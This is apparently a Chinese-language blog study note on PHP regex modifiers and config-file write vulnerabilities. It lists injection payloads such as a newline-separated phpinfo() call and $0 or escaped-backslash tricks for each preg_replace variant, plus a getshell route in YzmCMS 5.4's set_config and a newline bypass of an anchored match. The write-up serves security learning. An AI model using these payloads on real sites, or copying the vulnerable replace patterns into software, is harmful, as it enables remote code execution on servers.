正则与经典写配置漏洞学习

前言

看到P牛的小密圈发了这篇文章 感觉很棒 所以来学习一下.

前置知识铺垫

single-line和multi-line

single-line与multi-line分别对应了/s和/m修饰符。

multi-line

multi-line表示按行来进行正则匹配:将待匹配的文本利用换行符分割,并对每一部分进行正则匹配,将每部分的结果用or进行运算,得出最终的结果。

举一个例子

1
2
3
var_dump(preg_match('/^a[a-z]+z$/m', "abbz\n123"));

//返回1
single-line

将待匹配文本视作单行,并且换行符不再作为换行的标志,. 可匹配换行符

默认情况的正则(不加修饰符)

对于如下正则:

1
2
3
4
5
6
7
8
9
<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));

返回0 说明默认情况下非多行匹配

<?php
var_dump(preg_match('/^a.+z$/', "abbz\nccz"));

返回0 说明无法匹配换行符

所以在默认情况下代表着:single-line且.不会匹配换行符

总结

引用一下p牛的总结

  • 不加s或m修饰符 -> single line,但 . 不能匹配换行符
  • 单独加s修饰符 -> single line,且 . 匹配包括换行符在内的所有字符
  • 单独加m修饰符 -> multi line
  • 同时加m和s两个修饰符 -> multi line,且 . 匹配包括换行符在内的所有字符

配置漏洞与其变形

正则贪婪模式且无/s修饰符

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

利用.*不会匹配换行的特性,利用换行绕过

第一次:api=a’;%0aphpinfo();//

第二次:api=aaa

正则贪婪模式且有/s修饰符

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

由于/s修饰符 所以无法利用换行绕过,不过可以用$0或者\0来引入单引号进行闭合,$0在preg_replace函数中代表着完整的匹配模式或者匹配文本

第一次

api=;phpinfo();//

对应:

1
$API = ';phpinfo();//';

第二次

api=$0

对应

1
$API = '$API = ';phpinfo();//';';

成功在配置文件中写入任意内容

正则非贪婪模式且无/s修饰符

1
2
3
4
5
6
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
?>

和之前唯一不同的是现在是非贪婪的匹配模式,也就意味着匹配到第一个单引号之后就不会接着往下继续匹配了

所以我们换行和不换行都可以绕过了

Payload如下

1
2
3
4
5
6
第一种
aa';phpinfo();//
aa
第二种
aa';%0aphpinfo();//
aa

正则非贪婪模式且有/s修饰符

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

虽然加了/s修饰符,但是因为为非贪婪模式,上面的payload同样适用

1
2
3
4
5
6
第一种
aa';phpinfo();//
aa
第二种
aa';%0aphpinfo();//
aa

define情况下的贪婪且/s修饰

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

和第一种一样,只是换了下变量的定义方式,换行绕过即可

Payload:

1
2
3
4
第一次
api=a');%0aphpinfo();//
第二次
api=a

define情况下的贪婪且无/s修饰

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

因为有不可闭合的单引号,所以这种情况下无法使用$0

不过可以使用这个trick: preg_replace 在替换的时候会吃掉转义符 来进行引号闭合

preg_match可将\\转化为\ 这也就意味着…其实用这种方式可以逃逸掉这篇文章里所有的单引号

Payload如下:

1
api=a\%27);phpinfo();//

得到的配置文件内容:

1
define('API', 'a\\');phpinfo();//');

define情况下的非贪婪且有/s修饰

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

Payload:

1
2
3
4
5
6
第一种
aa';phpinfo();//
aa
第二种
aa';%0aphpinfo();//
aa

define情况下的非贪婪且无/s修饰

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

Payload如下:

第一种

1
2
3
4
5
aa';phpinfo();//
aa
第二种
aa';%0aphpinfo();//
aa

几个例子

YzmCMS 5.4后台getshell

漏洞函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
function set_config($config) {
$configfile = YZMPHP_PATH.'common'.DIRECTORY_SEPARATOR.'config/config.php';
if(!is_writable($configfile)) showmsg('Please chmod '.$configfile.' to 0777 !', 'stop');
$pattern = $replacement = array();
foreach($config as $k=>$v) {
$pattern[$k] = "/'".$k."'\s*=>\s*([']?)[^']*([']?)(\s*),/is";
$replacement[$k] = "'".$k."' => \${1}".$v."\${2}\${3},";
}
$str = file_get_contents($configfile);
$str = preg_replace($pattern, $replacement, $str);
return file_put_contents($configfile, $str, LOCK_EX);
}

可以看到$replacement变量是由字符拼接而来,并且${1}匹配的是单引号,那么我们就可以用$1来闭合前面的单引号,${1}等价于$1的,接着跟进调用了set_config的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function save() {
yzm_base::load_common('function/function.php', 'admin');
if(isset($_POST['dosubmit'])){
if(isset($_POST['mail_inbox']) && $_POST['mail_inbox']){
if(!is_email($_POST['mail_inbox'])) showmsg(L('mail_format_error'));
}
if(isset($_POST['upload_types'])){
if(empty($_POST['upload_types'])) showmsg('允许上传附件类型不能为空!', 'stop');
}
$arr = array();
$config = D('config');
foreach($_POST as $key => $value){
if(in_array($key, array('site_theme','watermark_enable','watermark_name','watermark_position'))) {
$value = safe_replace(trim($value));
$arr[$key] = $value;
}else{
if($key!='site_code'){
$value = htmlspecialchars($value);
}
}
$config->update(array('value'=>$value), array('name'=>$key));
}
set_config($arr);
delcache('configs');
showmsg(L('operation_success'), '', 1);
}
}

可以看出是从POST取值并且检查key是否在规定的数组中,如果在的话,进行一次内容过滤,然后赋给$arr数组,并且由于array数组中键可以对应着函数

比如

1
1=>'x',foo()

所以直接赋值为我们之前单引号闭合的payload就可以了

1
$1,payload,$1

一个常见的绕过

1
2
3
4
5
6
7
8
<?php

if (preg_match('/^want$/', $_GET['exp']) && $_GET['exp'] !== 'want') {

echo "test";


}

对于这个过滤条件 我们可以用exp=want%0a进行绕过

原理为$可以对换行符进行匹配

同样的漏洞还有Apache换行解析漏洞,也就是shell.php\n可以以php的形式解析,也是利用了$可以匹配换行符导致的。

参考链接

https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html